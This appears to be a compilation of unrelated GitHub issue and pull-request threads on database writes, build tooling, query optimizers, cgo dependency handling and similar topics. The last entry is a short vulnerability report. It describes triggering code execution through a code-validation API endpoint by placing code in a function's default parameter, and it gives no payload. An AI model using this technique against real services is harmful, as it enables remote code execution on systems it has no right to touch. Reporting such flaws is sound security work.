Slow writes into influx

I've been trying to troubleshoot an issue where writes into influx seem to come in very slowly over time. My setup is as follows:
influxdb 0.8.8
fluent-plugin-influxdb (0.1.4)
fluentd (0.12.8)
fluentd config:
<match fuse.**>
type influxdb
host  ***
port  8086
dbname ***
user  ***
password  ***
time_precision ms
buffer_type memory
buffer_chunk_limit 524288 # 512 * 1024
buffer_queue_limit 1024
flush_interval 30
retry_limit 17
retry_wait 1.0

I've played around and tried a number of different combinations of the config.
I have 2 fluentd instances dumping into a single influxdb instance. All machines are barely registering any CPU usage when messages are being sent, but it takes 20-30 minutes for the buffers to clear out into influx after all the data has been written to fluentd. This is around 72000 messages total (each message is ~100 bytes) being sent.
Turning debug logging on in influx I see a ton of spam about authenticating the user specified in the fluentd config, 10-20 a second. Any thoughts on what the issue might be?

Hmm...
https://github.com/fangli/fluent-plugin-influxdb/blob/92eb4ac15e48a4df15043722a632ac8b7dd7c3c9/lib/fluent/plugin/out_influxdb.rb#L49
Currently, we use write_ponit for each record.
It may causes slowly insertion. I will check the performance with array version.

Sorry for the delay.
Could you try this PR code? > https://github.com/fangli/fluent-plugin-influxdb/pull/12

@Korkd ping? If you okay, I will merge PR and release new version.

Sorry to take so long to get back to you, haven't had a chance to look into this again until today. Good news though, it appears to have solved the problem. I'm no longer getting long delays between results!

Good :)


Bump up cmake version to 3.26.4

Description
Bump up cmake version to 3.26.4 to fix the failing CI in k-NN plugin
https://github.com/opensearch-project/k-NN/actions/runs/9822873197/job/27120072059?pr=1796
CMake Error at external/faiss/CMakeLists.txt:21 (cmake_minimum_required):
CMake 3.24.0 or higher is required.  You are running version 3.23.3

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Tested with CMake version 3.26.4 on Linux machine and able to build k-NN libraries, so bumping cmake version to 3.26.4

Hi @naveentatikonda can you remove all the changes for items within legacy folder as they should remain the same as old templates.
@peterzhuamazon reverted those changes in legacy folder. Pls take a look

Hi @naveentatikonda can you remove all the changes for items within legacy folder as they should remain the same as old templates.

@peterzhuamazon reverted those changes in legacy folder. Pls take a look

Thanks @naveentatikonda , I will trigger the image building now.
Will update.

https://build.ci.opensearch.org/job/docker-build/5537/console
https://build.ci.opensearch.org/job/docker-build/5539/console
https://build.ci.opensearch.org/job/docker-build/5541/console
https://build.ci.opensearch.org/job/docker-build/5542/console
https://build.ci.opensearch.org/job/docker-build/5543/console
https://build.ci.opensearch.org/job/docker-build/5544/console

https://build.ci.opensearch.org/job/docker-copy/1302/console
https://build.ci.opensearch.org/job/docker-copy/1303/console
https://build.ci.opensearch.org/job/docker-copy/1304/console

Using opensearchstaging/ci-runner:ci-runner-al2-opensearch-build-v1 and "sha256:e580791eeb37f0c1ebb55729f29bc143296d8f9a03de752f93fe017fcf79eea6", I get the error as CMake 3.24.0 or higher is required.  You are running version 3.23.3. The actual cmake version inside the image is cmake version 3.23.3.

Using opensearchstaging/ci-runner:ci-runner-al2-opensearch-build-v1 and "sha256:e580791eeb37f0c1ebb55729f29bc143296d8f9a03de752f93fe017fcf79eea6", I get the error as CMake 3.24.0 or higher is required. You are running version 3.23.3. The actual cmake version inside the image is cmake version 3.23.3.

Please ignore the latest sha of opensearchstaging/ci-runner:ci-runner-al2-opensearch-build-v1 has cmake version 3.26.4.
Thanks


Create example for JDBC connector using Snowflake

Description:
Create a real-world example of using the jdbc connector to connect to the Snowflake API and perform standard operations.
Suggested Labels (optional):
module/java.jdbc
Suggested Assignees (optional):
@kaneeldias

Reference:
https://docs.snowflake.com/en/api-reference.html

https://docs.snowflake.com/en/user-guide-getting-started.html

https://docs.snowflake.com/en/user-guide/jdbc.html


fix: image verify should not print key on failure

As reported by @g-linville via Slack
This happened when referencing a private key file during verification.
First of all, given a path to a file, we shouldn't log the contents.
Second, we should reject private keys to avoid sending them to the server.
Solutions:
a) extract the public key from the private key and use that one
b) just reject as soon as we notice it's a private key

Tested with acorn version - v0.8.0-13-gab9787b8+ab9787b8
Following error message is presented to user when acorn image verify is done using a privatekey.
  ✗  ERROR:  failed to load public key from invalid multi-line key reference


Code Combat Addition to Fix Inversion

Initial Inversion

After my fixes

Please consider my inversion fixes for codecombat.com

Since March 27 we are using simplified config version https://github.com/alexanderby/darkreader/blob/master/src/config/inversion-fixes.config
Please, move your fix there.
The old config is used by users, who haven't received extension update yet or who cannot update Chrome.

I have added my combat changes to inversion-fixes and reverted any changes to the original inversion_fixes. Please review when you are able to.


Apply SSD optimizations for Dell XPS 13 9310

According to https://www.dell.com/de-de/shop/laptops/xps-13-laptop/spd/xps-13-9310-laptop the default configuration is only with SSD.


Version fixes for Resource Usage Stats and FS Stats

Description
Version fix for node/_stats fields due to backport of
https://github.com/opensearch-project/OpenSearch/pull/10695
https://github.com/opensearch-project/OpenSearch/pull/10695
Related Issues
Check List

[x] New functionality includes testing.

[x] All tests pass

[ ] New functionality has been documented.

[ ] New functionality has javadoc added

[x] Commits are signed per the DCO using --signoff
[ ] Commit changes are listed out in CHANGELOG.md file (See: Changelog)
[ ] Public documentation issue/PR created

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

@reta  : Can you please review this ?

Commits which i have used as a reference :
https://github.com/opensearch-project/OpenSearch/pull/10695/commits/1ceee947b98d806ed52a85340bd8bc696ed2d424
https://github.com/opensearch-project/OpenSearch/pull/10696/commits/1a3e9385859af9c07bb2aa19395223305452c549

The failing test org.opensearch.index.shard.RemoteStoreRefreshListenerTests.testTrackerData is not related to this. Going ahead with merge as w/o this our gradle checks fail on 2.x branch as well as MixedClusterClientYamlTestSuiteIT fails on main branch .


fi minor change, move abs acc to seperate array 2

attempt 2 (rebased on recent master

A run of fi including gravity and hydrodynamics (no black holes) gave the exact same results between this version and the standard version.

ok, thanks..my tests where also ok.. I think its good to merge..blackhole stuff is rarely used anyway (also patch works the same way)


[QTL] Make URI Exctraction Namespace take more sane arguments

Fixes https://github.com/druid-io/druid/issues/2669

This is incompatible but the static config is probably going away anyways.

👍

@b-slim this should be fixed now. Any other comments?

@drcrallen please see the comments. My main concern i am not sure why this PR is not implementing the new interfaces ?

@b-slim because the move to the new interface is in a single PR with no other modifications. I'm not going to modify a bunch of functionality in a PR as big as the lookup framework migration one.

@drcrallen can we have an issue to track this by outlining the plan ?

@b-slim I'm good for that. Give me 15 mins to get it written up

@b-slim any more comments here?

LGTM, i would recommend one more ut where we have new file creation to test the get new version path, but is is not a blocker. it is up to the author to add it or not. (please squash)

@b-slim IMPLs for io.druid.data.SearchableVersionedDataFinder do have tests for finding new versions. If there are things not covered by those tests, or if you're looking for more integrations with io.druid.data.SearchableVersionedDataFinder impls, please let me know what you're looking for and I can add it in another PR.

Thanks @b-slim !

@drcrallen thought this can go in one commit ?

@b-slim like this? https://github.com/druid-io/druid/commit/6b957aa07212b39a55496dff0f07b7f6611bc238

@drcrallen my bad but in the top of this pr i can see 5 commits and thought that's what is going to be in the master.

@b-slim nope! magic! https://groups.google.com/d/msg/druid-development/f_-1WloZ5uU/EVFxhnGxAgAJ


Challenge http://www.freecodecamp.com/challenges/waypoint-build-a-cash-register has an issue

Please tell us in detail here how we can make this challenge better.
The Advanced Algorithm Scripting challenges don't seem to show completed after completing the challenges.

I'm unable to reproduce this issue. We've sorted out quite a bit around some issues that may have caused this. Can you confirm whether you are able to complete it and it show completion?

I'm closing this issue for now, feel free to reopen it if you can reproduce it.


Provide base class for dataset loaders

Summary
This PR abstracts the essential components of the dataset loader into a base class to allow for future implementations of eager datasets (e.g., all parts of the dataset are already in memory) and for other lazy local dataset loaders.

[x] Code passes all tests
[x] Unit tests provided for these changes
[x] Documentation and docstrings added for these changes

Changes

Create abstract base class with unimplemented methods for getting drugs, contexts, and labeled triples
Rename mid-level class to RemoteDatasetLoader

Next steps
The following shows an implementation of an eager dataset, which might be more useful for local datasets.
@dataclass
class EagerDatasetLoader(DatasetLoader):
    """An eager dataset."""

    context_feature_set: ContextFeatureSet
    drug_feature_set: DrugFeatureSet
    labeled_triples: LabeledTriples

    def get_labeled_triples(self) -> LabeledTriples:
        """Get the labeled triples file from the storage."""
        return self.labeled_triples

    def get_context_features(self) -> ContextFeatureSet:
        """Get the context feature set."""
        return self.context_feature_set

    def get_drug_features(self):
        """Get the drug feature set."""
        return self.drug_feature_set

any chance we would load , train and essentially test our own dataset ?

@aminemosbah I would suggest looking at https://chemicalx.readthedocs.io/en/latest/api/chemicalx.data.LocalDatasetLoader.html#chemicalx.data.LocalDatasetLoader for loading your own dataset that's already in the right format in a given directory

thx, but i have smiles to predict in a csv file to predict locally , any quick snippet ?

@aminemosbah I have in mind a solution for what you want (which is the obvious realistic use case) but this it is blocked #50 and #58. @benedekrozemberczki would love to get your input on #50 ;)

need to hack the dataloader to make it work for local data

here is a possible solution
https://chemicalx.readthedocs.io/en/latest/api/chemicalx.data.LocalDatasetLoader.html#chemicalx.data.LocalDatasetLoader


Exported type for action expects store.

The type that is exported from useStateMachine is Action
export function useStateMachine<T extends Store = Store>(
  updateStoreFunction?: UpdateStore,
  options?: Options,
): {
  action: Action;
  actions: Actions;
  state: T;
} {

which reflects this type:
export declare type Action = (store: any, payload: any) => any;
export declare type Actions = {
    [key: string]: Action;
};

which means that when you use the function action or functions from the actions object, it expects both parameters.
Proposal
change return types to UpdateStoreFunction:
export declare type UpdateStoreFunction = <T>(payload: T) => T;

in order to reflect usage per documentation.

Just saw this issue that is similar - were these not implemented?

Yeah to be honest, i didn't give too much love on the Type with this lib. I will come to it.

@bluebill1049 don't worry - and I have a few other items I may address as well.  Not intended to be a burden: anything I bring up, I try to bring a solution for and can submit PR if you're open to it.

oh yeah @devoNOTbevo 100%. thanks ❤

actually all those action only return void


Virtual automation bus tutorial

After reading the paper
https://link.springer.com/chapter/10.1007/978-3-030-59155-7_34
and also the eclipse documentation
https://wiki.eclipse.org/BaSyx_/_Documentation_/_VAB
I would like to know if there is a tutorial, gettting started or similar section to use this component either with the java sdk or the cpp sdk.
Regards
Victor

Dear Victor,
there are additional examples for the VAB available here:
https://wiki.eclipse.org/BaSyx_/_Introductory_Examples (cf. Additional steps)
Best regards,
Frank


guo_Update I_Test_Driver_FdV.yaml

DeviceStatusType should be changed from "verified" to "confirmed"

DeviceStatusType should not be changed.


mobile Send: Show title if inactive accounts exists

This bug introduced in https://github.com/aeternity/aepp-base/commit/d85802c79ddc5e8c7f1166f80c650d0ff87e3b2c#diff-8462ae40d9b0573ed2a2bb118b12d33dR46

closes #385

@CedrikNikita has found this bug


Run dependency tests on bionic and jammy

Summary
Run the dependency tests on a docker image (either bionic or jammy) so that the dynamic SSL linking can be verified.
Use Cases
Note that this is not exactly running the tests on the minimal stack image as per https://github.com/paketo-buildpacks/github-config/issues/596#issuecomment-1297466914, but it's a good start. We'll probably introduce some workflow changes in this area soon, so I don't think it's necessary to wait for a more full solution.
Checklist

[x] I have viewed, signed, and submitted the Contributor License Agreement.
[x] I have linked issue(s) that this PR should close using keywords or the Github UI (See docs)
[x] I have added an integration test, if necessary.
[x] I have reviewed the styleguide for guidance on my code quality.
[x] I'm happy with the commit history on this PR (I have rebased/squashed as needed).

@joshuatcasey did you get a chance to run the workflow on this branch and see if it worked?

@sophiewigmore I can't run actions due to permissions.
I did compile+test both bionic and jammy locally and that was successful.

Alright, I'll run it just to see if it works in the workflow.
In the future, I think I'd prefer to see the action in the dependency/actions/test directory for consistency's sake but I think that'll require changes to the RFCs.

Ah, can't run it because its a fork PR.

let's merge it in and see if it works - looks reasonable.


Cleanup moveit_config

Follow up to #55.
Restores the behavior described in https://github.com/PickNikRobotics/abb_ros2/pull/55/files#r1451192497
The .trajectory_execution() also takes care of initializing moveit_controllers values so we don't need to explicitly define that.

@jodle001 do you mind reviewing this since it relates to your original PR?


Use L.Coin instead of Lovelace

Changelog
- description: |
    Use `L.Coin` instead of `Lovelace`
    Delete:
    - `toShelleyLovelace`
    - `fromShelleyLovelace`
    - `lovelaceToCoin`
    - `coinToLovelace`
# uncomment types applicable to the change:
  type:
  # - feature        # introduces a new feature
  - breaking       # the API has changed in a breaking way
  # - compatible     # the API has changed but is non-breaking
  # - optimisation   # measurable performance improvements
  - improvement    # QoL changes e.g. refactoring
  # - bugfix         # fixes a defect
  # - test           # fixes/modifies tests
  # - maintenance    # not directly related to the code
  # - release        # related to a new release preparation
  # - documentation  # change in code docs, haddocks...

Context
A lot of the code is converting between L.Coin and Lovelace.  Switching to L.Coin saves a lot of conversions.
Note that because we now use the ledger type, it also follows that we use the ledger type class instances.  This can have knock-on changes.  See the golden file diffs for examples.
How to trust this PR
Highlight important bits of the PR that will make the review faster. If there are commands the reviewer can run to observe the new behavior, describe them.
Checklist

[ ] Commit sequence broadly makes sense and commits have useful messages
[ ] New tests are added if needed and existing tests are updated. See Running tests for more details
[ ] Self-reviewed the diff

Superceded by https://github.com/IntersectMBO/cardano-api/pull/475


Extra template function inject support

As title.

I m not sure to understand what the title mean. Ca you give an example or use case you have in mind?

see https://godoc.org/text/template#Template.Funcs , I mean how to set the customized functions to template string.

ohhh, interesting, for the moment this is not possible.
👍
I will take a look about how to allow that. Agree that could be a good way to extend the markup possibilities.

I am using this:
https://github.com/mh-cbon/template-compiler

5 to 10 times faster, because templates are compiled.
works with standard go en.
supports huge library of funcmaps too.  https://github.com/mh-cbon/template-compiler#working-with-funcmap
more to come it looks like.


Button generator refactor

Related to #652

Description
Refactoring the button generator component to be more flexible and easy to maintain
The way it was first built was a headache to keep track of all of the inputs. Now all the items are in one place, and easy to update/add to/ move around
Will make adding the other options much quicker
Also adding the other 'standard' options here. Widget, random satoshis, and goal amount
Test plan
Run the app and try out the button generator, it should function as before

Okay added hiding random satoshis when amount = 0, and moved the reset options closer
I couldnt reproduce the faded dropdowns? can you screenshot? And looking into fixes those overridden styles on the client

how about now?

Looks good -- last thing being the css overriding issue on the widget.

For sure, just put a PR up for that


Contact Depositor via Libanswers

From the Work Settings page there's a link that only shows for admins that takes them to a admin-only form for submitting a ticket to LibAnswers.

The form is auto-populated with the name of the depositor and their email.  I left these fields editable in case admins want to change something.

Submitting this form creates a ticket in LibAnswers through the LibAnswers API and directs the user to the ticket.
fixes #1464

Converting back to draft.  Need to rethink this now.  I was receiving emails from the tickets created via the API before, but they stopped.  I must've been getting them for some other reason; not because this was working the way I intended.  Seems the Libanswers API operates from the perspective of Patron to Admins.  Not the other way around.


Adjusting remark-lint error and warning message format

Fixes #145

Sory for the late response. Thanks!

Hi, @dmundra! We merged your PR to reviewdog! 🐶
Thank you for your contribution! ✨
We just invited you to join the @reviewdog organization on GitHub.
Accept the invite by visiting https://github.com/orgs/reviewdog/invitation.
By joining the team, you'll be a part of reviewdog community and can help the maintenance of reviewdog.
Thanks again!


Bulk add whitelist issue

Bulk add whitelist func shows message "Cannot add whitelist to inactive phase" while still can use Single add whitelist mode.

@hnnam0906 please review

It is ok now. Thks.


Implement optimizer rule for reordering fact-dimension joins

Which issue does this PR close?

Closes https://github.com/apache/arrow-datafusion/issues/3984
Blocked on https://github.com/apache/arrow-datafusion/issues/4625
This PR implements a new logical plan optimization rule based on the paper Improving Join Reordering for Large Scale Distributed Computing.
Rationale for this change

Some popular benchmarks intentionally have joins that are written in a suboptimal order, where large fact tables are joined first, followed by joins to dimension tables.  We need join reordering if we want to do well in those benchmarks.
Here is a brief summary of how this works (see the paper for more details).

The rule is only applied to nested inner joins containing table scans (intermediate projections and filters are allowed)
Tables are identified as fact or dimension based on ratio of sizes
Joins are reordered such that smaller dimension tables are joined to earlier
For joins containing multiple fact tables, the join is rewritten where possible to individual fact-dimension joins and then the resulting joins are joined together

I have had some success implementing this same rule for Apache Spark (currently implemented in the Spark RAPIDS plugin (PR) but with plans to upstream to Spark later). I am also testing this rule in Dask SQL (PR).
For TPC-DS query 72, this rule makes the query run one to two orders of magnitude faster (depending on size of data set and environment).
What changes are included in this PR?

New rule
Are these changes tested?

Unit tests included (but needs more before this is ready for review)
Are there any user-facing changes?

No. Rule will be opt-in.

Note there is a similar optimization in the physical optimizer now: https://github.com/apache/arrow-datafusion/blob/master/datafusion/core/src/physical_optimizer/join_selection.rs
cc @mingmwang  and @yahoNanJing

A related problem is statistics, current it's derived in PhysicalPlan, Cardinality is important for JoinReorder

A related problem is statistics, current it's derived in PhysicalPlan, Cardinality is important for JoinReorder.
It deserve to be discuss how we derive statistics in LogicalPlan.

It existed, I didn't notice it 😂 https://github.com/apache/arrow-datafusion/issues/4625

Note there is a similar optimization in the physical optimizer now: https://github.com/apache/arrow-datafusion/blob/master/datafusion/core/src/physical_optimizer/join_selection.rs

There doesn't seem to be any overlap between this PR and the join_selection rule. It looks like they should work together. I updated this PR with a summary of what this rule does.

I prepare to review this PR carefully. In general, I think DP Join Reorder can cover more condition. like DpSize DpSub DpCcp/DpHyp, DpSub is implemented in GPORCA, it isn't complex. fact-dimension joins is star-join in query-graph, I think we can cover more join like chain-join/....

I'd be interested to see this. Prior to this PR I tried implementing join reordering in Spark RAPIDS based on a DP approach, using Spark's CostBasedJoinReorder as a starting point (based on Access Path Selection in a Relational Database Management System). It did work well for a few queries in TPC-DS but also introduced regressions. The challenge with this approach was that it only works well with good cardinality estimates, and that requires good column-level statistics to be available (which was not the case in Spark). I don't know anything about GPORCA and whether they were able to solve that problem,

I also notice PR just handle inner-join, I think we can also optimize SEMI/ANTI JOIN trickly (push them down), because SEMI/ANTI JOIN can't increase the cardinality, it's similar with Filter.

I agree. I am planning on trying this out.

BTW, I notice join_selection in physical optimizer, look like they are similar

I don't think they are. I think join_selection is just changing build/probe order in hash joins rather than rebuilding join trees?

Yes, they are for different purpose and as you had mentioned those two rules can co-work together.

I prepare to review this PR carefully. In general, I think DP Join Reorder can cover more condition. like DpSize DpSub DpCcp/DpHyp, DpSub is implemented in GPORCA, it isn't complex. fact-dimension joins is star-join in query-graph, I think we can cover more join like chain-join/....

I'd be interested to see this. Prior to this PR I tried implementing join reordering in Spark RAPIDS based on a DP approach, using Spark's CostBasedJoinReorder as a starting point (based on Access Path Selection in a Relational Database Management System). It did work well for a few queries in TPC-DS but also introduced regressions. The challenge with this approach was that it only works well with good cardinality estimates, and that requires good column-level statistics to be available (which was not the case in Spark). I don't know anything about GPORCA and whether they were able to solve that problem,

I also notice PR just handle inner-join, I think we can also optimize SEMI/ANTI JOIN trickly (push them down), because SEMI/ANTI JOIN can't increase the cardinality, it's similar with Filter.

I agree. I am planning on trying this out.

BTW, I notice join_selection in physical optimizer, look like they are similar

I don't think they are. I think join_selection is just changing build/probe order in hash joins rather than rebuilding join trees?

Yes, they are for different purpose and as you had mentioned those two rules can co-work together.

I prepare to review this PR carefully.

I'm sorry I can't comment on this PR because I suffer from COVID🥶

I'm sorry I can't comment on this PR because I suffer from COVID🥶

I hope you feel better soon 🙏

I prepare to review this PR carefully.

I'm sorry I can't comment on this PR because I suffer from COVIDcold_face

Sorry to hear that! Hope you recover soon. I don't think this PR will be ready for review until sometime in January anyway. I am still fine-tuning the version of this that I am implementing for Spark and will update this PR after the holidays.

One classic way to represent the joins in a query is with a JoinGraph as @mingmwang points out where the nodes represent relations (tables / views / subqueries) and the edges represent predicates between them

Exploiting the properties of graphs is a particularly complex. (Traverse the entire graph along the edges to can avoid Cross Products to avoid to produce useless Join Enumeration), it is some JoinReorder Algorithm without Cross Products
Like DPCcp, paper: Analysis of Two Existing and One New Dynamic Programming Algorithm for the Generation of Optimal Bushy Join Trees without Cross Products.
DPHyp(DPCcp enhancement), paper: Dynamic Programming Strikes Back
Graph Simplifier (Reducing the size of the graph) paper: Query Simplification: Graceful Degradation for Join-Order Optimization.
Above methods exist in MySQL8.0, like https://github.com/mysql/mysql-server/blob/8.0/sql/join_optimizer/hypergraph.h

In general, most JoinReorder Algorithm tolerate Cross Product. like DPSub.
TiDB write a note about DPSub vs DPCcp. https://github.com/pingcap/tidb/blob/master/docs/design/2018-10-20-join-reorder-dp-v1.md
GPORCA is optimizer of Greenplum and Apache HAWQ. implement DPSub.
https://github.com/greenplum-db/gporca/blob/main/libgpopt/src/xforms/CJoinOrderDPv2.cpp

Yes, in general I would say join order reorganization is not a "solved" problem nor does it have a small set of widely used algorithms -- people basically implement some combination of heuristics and cost estimations.
I have theories as to why it is not yet solved but they are too lengthy to type up here

I have theories as to why it is not yet solved but they are too lengthy to type up here

I would love to hear more about this someday.

I am closing this for now and will reopen once I have time to get this over the line.


Update dependency for JDBC application

Summary
The build uses old dependencies that have vulnerability issues.
The JDBC don't have a parent pom and use own dependency list
Description
The dependency has been updated for aws core and jsoup
The shecksyles have been fixed
Related Issue
AT-1482
Tests performed/created
Unit tests:
All existing Unit tests passed
Manual verification:

Change java to 1.8: export JAVA_HOME=/usr/libexec/java_home -v 1.8``
Build the project with the command mvn clean install
Verify that all tests passed and build successful

Change java to 1.8: export JAVA_HOME=/usr/libexec/java_home -v 11``
Build the project with the command mvn clean install
Verify that all tests passed and build successful

Change java to 1.8: export JAVA_HOME=/usr/libexec/java_home -v 16``
Build the project with the command mvn clean install
Verify that all tests passed and build successful

Additional Reviewers
@alexey-temnikov

Am having compilation issues with JAVA 17 on this branch. I am also facing the same issues on main so I would assume it's an issue with my environment.


Add subquery support in datafusion-proto

Is your feature request related to a problem or challenge? Please describe what you are trying to do.
Once https://github.com/apache/arrow-datafusion/pull/2639 is merged we should add support for serializing plans that contain subquery expressions.
This will likely require breaking changes to the API because we currently have one API for Expr that optionally accepts a FunctionRegistry and one API for LogicalPlan that optionally accepts a LogicalExtensionCodec. With subquery support we have plans referencing expressions and expressions referencing plans, so these APIs will need to be combined somehow.
Here is a suggestion for the new API from the discussion at https://github.com/apache/arrow-datafusion/pull/2639#discussion_r884249631
let bytes = PlanSerializer::new()
    .with_extension_codec(&extension_codec)
   .serialize()?;

Describe the solution you'd like
TBD
Describe alternatives you've considered
None
Additional context
None

feature of the subquery is needed in my system, I can figure out this issue.
@andygrove

also with that: https://github.com/apache/arrow-datafusion/issues/2338
and https://github.com/andygrove/arrow-datafusion/blob/39c444835ddcb38cf1efeb4414fbb8ecd49ac020/datafusion/proto/src/to_proto.rs#L710

When we implement this feature, it might be worth considering a slightly more encapsulated API for serializing / deserializing plans, as described in  https://github.com/apache/arrow-datafusion/pull/2639#discussion_r884249631

Possibly duplicated by https://github.com/apache/arrow-datafusion/issues/2646


remove go-directory-cli dependency

Pull Request Test Coverage Report for Build<PHONE_NUMBER>2
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.1%) to 28.48%

Totals

Change from base Build<PHONE_NUMBER>1:
0.1%

Covered Lines:
1332

Relevant Lines:
4677

💛  - Coveralls


Youtube Thumbnail Grabber

Script Title - Youtube Thumbnail Grabber
Brief - The script will allow a user to input the URL of a Youtube video and the thumbnail will be saved from that.
Instructions

Create a new folder for your script and file/folder name should be appropriate.
Create a README.md in your folder for program Instructions
add requirements.txt if needed

Programming Language

[x] Python

Happy Coding

Please assign this issue to me.


Flutter or React Native

I am considering switching to Flutter due to many reasons. However, this is only an idea and I still thinking about it. I need to make sure that Flutter can do the same and maybe even better.
Flutter

hive for database
charts_flutter for charts
Built-in navigation
Built-in grid
Built-in icons
Built-in material design
Built-in localisation
in_app_purchase for IAP
wakelock to keep screen awake
vibration to control vibration

Flutter has everything I need. I might update JSON: Become TS to support dart as well. Tablet support is also possible with the drawer.
Other links

How to update the entire app when app theme changed

I will rewrite the entire app in Flutter.


Native cgo support infrastructure

So, as a summary for this issue, I tried to use https://github.com/therecipe/qt, with dep, and it didn't work; although it downloaded the dependency, it didn't generate all the required files to actually be able to run.
In order to work, the qt binding uses a setup script qtbuild to setup various go packages and generate the various files that cgo can bind to.
This is not an uncommon issue; http://akrennmair.github.io/golang-cgo-slides summarizes the issue with cgo succinctly:
Usually, you want to access functions outside of libc.
Linking to external libraries required; two possibilities:

- Add CGO_LDFLAGS to Makefile
- Embed in .go source file using #cgo directive (preferred)

...and that's pretty much the state of play.
For example:

The SDL2 library requires you to have system level SDL libraries installed and on the (https://github.com/veandco/go-sdl2/blob/master/sdl/sdl_wrapper.h)

The sqlite binding embeds the entire sqlite library as an amalgamation in the source of the library (https://github.com/mattn/go-sqlite3/blob/master/sqlite3-binding.c)

The port audio binding uses pkg-config to find and link to the system library (https://github.com/gordonklaus/portaudio/blob/master/portaudio.go#L15)

The tensor flow binding requires you to run some custom scripts to install things before you get started with it (https://github.com/tensorflow/tensorflow/blob/master/tensorflow/go/README.md)

As mentioned above, QT uses a custom build script (https://github.com/therecipe/qt/blob/master/cmd/qtsetup/qtsetup.go)

...solving all the problems with cgo is entirely out of the scope of what dep sets out to do, but perhaps we can standardize on a way of supporting the basic cgo workflow.
What do other languages do?
If you look at python (setup.py), rust (build.rs), node (post-install scripts), even java (maven plugins) you'll see a commonality in the package managers; arbitrary post-install script execution to do various things, including compile C dependencies.
However, if we look closely at a recent example, rust, this model hasn't been particularly successful; although build.rs can execute arbitrary code, and you can have 'build dependencies' to import helper scripts, ultimately the configuration and usage of these scripts is brittle and difficult to get right.
The guidelines in http://doc.crates.io/build-script.html are complex; and people get it wrong. Despite the best efforts of its contributors https://github.com/PistonDevelopers/Piston continues to generate a stream of 'I tried it but it didn't compile...' problems for people.
What do we actually want?
Before looking at any specific solution, perhaps we can look at what we actually want to achieve.
In a nutshell, what we need is some kind of 'extra step':

Dep installs packages in vendor/

??? <--- Extra step here

You can issue a build command against code using cgo and it works.

That 'extra step' needs to be able to, potentially any of:

Check if build tools are available on the system.
Actually build c libraries.
Generate go code.
Prompt the user with custom install instructions to install system level libraries.

For example, ages ago I wrote this demo for generating a static C library and embedding it using cgo to generate a 'single binary' go executable that embeds its own c dependency.
However, to do that you need to do this:
mkdir build
cd build
cmake ..
cmake --build .
cd ..
go build
./demo

There's no facility to turn this into a package that you can go get; there's no means to inform the user that there is a custom step they need to run, and no means to automatically run it.
So what now?
Well, so that's where we are now.
You could argue that supporting this is beyond the scope of dep, and that this is an issue that needs to be raised at a high level in the go toolchain itself, and that's a fair argument.
However, I think we could plausibly look at a way that dep can help standardize the way packages with dependencies are crafted, since the goal of dep is, itself, to standardize the way we handle dependencies in general.

One possible solution...
So, now I've kind of framed the issue, here's one possible solution I imagine:
If we consider a dependency chain as being something akin to a migration list to a database; you need to run the migrations before you can use the code you've installed in vendor; then perhaps we can standardize on allowing packages to specify arbitrary executable commands that need to be executed in a specific order, without actually executing them automatically.
I imagine a workflow, something along the lines of:
dep ensure

dep status
PROJECT                         CONSTRAINT  VERSION  REVISION  LATEST  PKGS USED DEPS
github.com/go-sql-driver/mysql  *           v1.3     a0583e0   v1.3    1         1

dep deps
PROJECT                         PENDING SCRIPT
github.com/go-sql-driver/mysql  true    ./bin/000_go_sql_driver_config

dep deps execute github.com/go-sql-driver/mysql
Building: ./bin/000_go_sql_driver_config
Executing: ./bin/000_go_sql_driver_config

dep deps
PROJECT                         PENDING SCRIPT
github.com/go-sql-driver/mysql  false    ./bin/000_go_sql_driver_config

Where a project can optionally choose to specify some path in it's manifest with a main() which can perform some arbitrary execution step; perhaps tell the user how to install a system library, perhaps build and generate some go code.
dep would purely have the responsibility in this case to:

Generate specifically (package named) binaries in a specific folder when dep deps build X was invoked.

Track what named binaries had been executed.

Reset the execution flag for a package's build when a new version is installed.

You could then:

Install all dependencies using dep without executing any build steps.
Generate a specific list of build steps that are required by each package.
Execute the required setup for each package as a one time option as required.

That's just my $0.02 on how I'd like to see it work, but its not a trivial problem and it'd be really good to at least start a conversation about how to handle it.
One thing I would love to see is dep as having a consistent behavior that all packages can conform to, and stop the current 'do whatever' approach that libraries using cgo seem to take.

the qt binding uses a setup script qtbuild to setup

Did you mean qtsetup? qt uses it to setup binding.
Let him know about the issue :smile_cat: @therecipe

@m8m5
Thanks for letting me know :)
Yes, I would love to be able to specify a build script to make things more simple to setup.
I think these build script(s) will be mainly used to solve these two cgo related problems:

To download (and compile) additional C dependencies such as C headers, libs and maybe (cross) compilers (if these dependencies can't live inside the repo)
To generate *.go files with cgo CFLAGS, LDFLAGS, ... (if one can't use pkg-config)

I don't know if this adds anything to the discussion, as this is the wrong repo.
But actually, all I would need is just a hook that gets called automatically after "go get ...", to make the repo go gettable.

related questions in rust-lang/cargo#3816 and rust-lang/cargo#3815
(also ugh how has it been 2.5 months since @shadowmint opened this already 😢 )

eh, as long as i'm commenting, i should also probably make explicit two things:

this isn't on the immediate-term roadmap, as this is something that can likely later be added without changing existing logic, and we have a bunch of critical path things
i haven't fully explored the implications of the ideas @shadowmint laid out, but my gut says they're pointing us in the right direction

I'm actually writing a go program to download and build c libs for my go project. Still debating on the file format/structure but it basically looks like:
[
	{
		"Name": "libSDL2",
		"Version": "release-2.0.5",
		"URL": "http://hg.libsdl.org/SDL",
		"Build": {
			"linux": [
				"<SRC>/configure --disable-shared --disable-rpath --prefix=<BUILD> --libdir=<LIB> --includedir=<INCLUDE>",
				"make -j <CPU>",
				"make install",
				"mv <LIB>/pkgconfig/sdl2.pc <LIB>/libSDL2.pc"
			]
		}
	}
]

Going to have 2 levels of command filtering, so first it detects the host OS and selects the proper file to eval then within that file it will have commands for the target os/arch. Think it looks kinda messy but prob good enough for what I want it to do. Not sure if it's any help tho.

Just pushed the tool I was working on to github. It assumes you have all the programs installed needed to pull/build tho. And the readme totally needs more work.
https://github.com/AlexRouSg/goBuildYourself


Code injection by API api/v1/validate/code which can lead to code execution

Describe the bug
As defined in the source code, API validate/code validate the code and give the validation result. While the function exec is used when facing the condition that isinstance(node, ast.FunctionDef),  after going into this branch, exec will be called.
But we can trigger the exec by using the default parameter of a function which can lead to code execution.
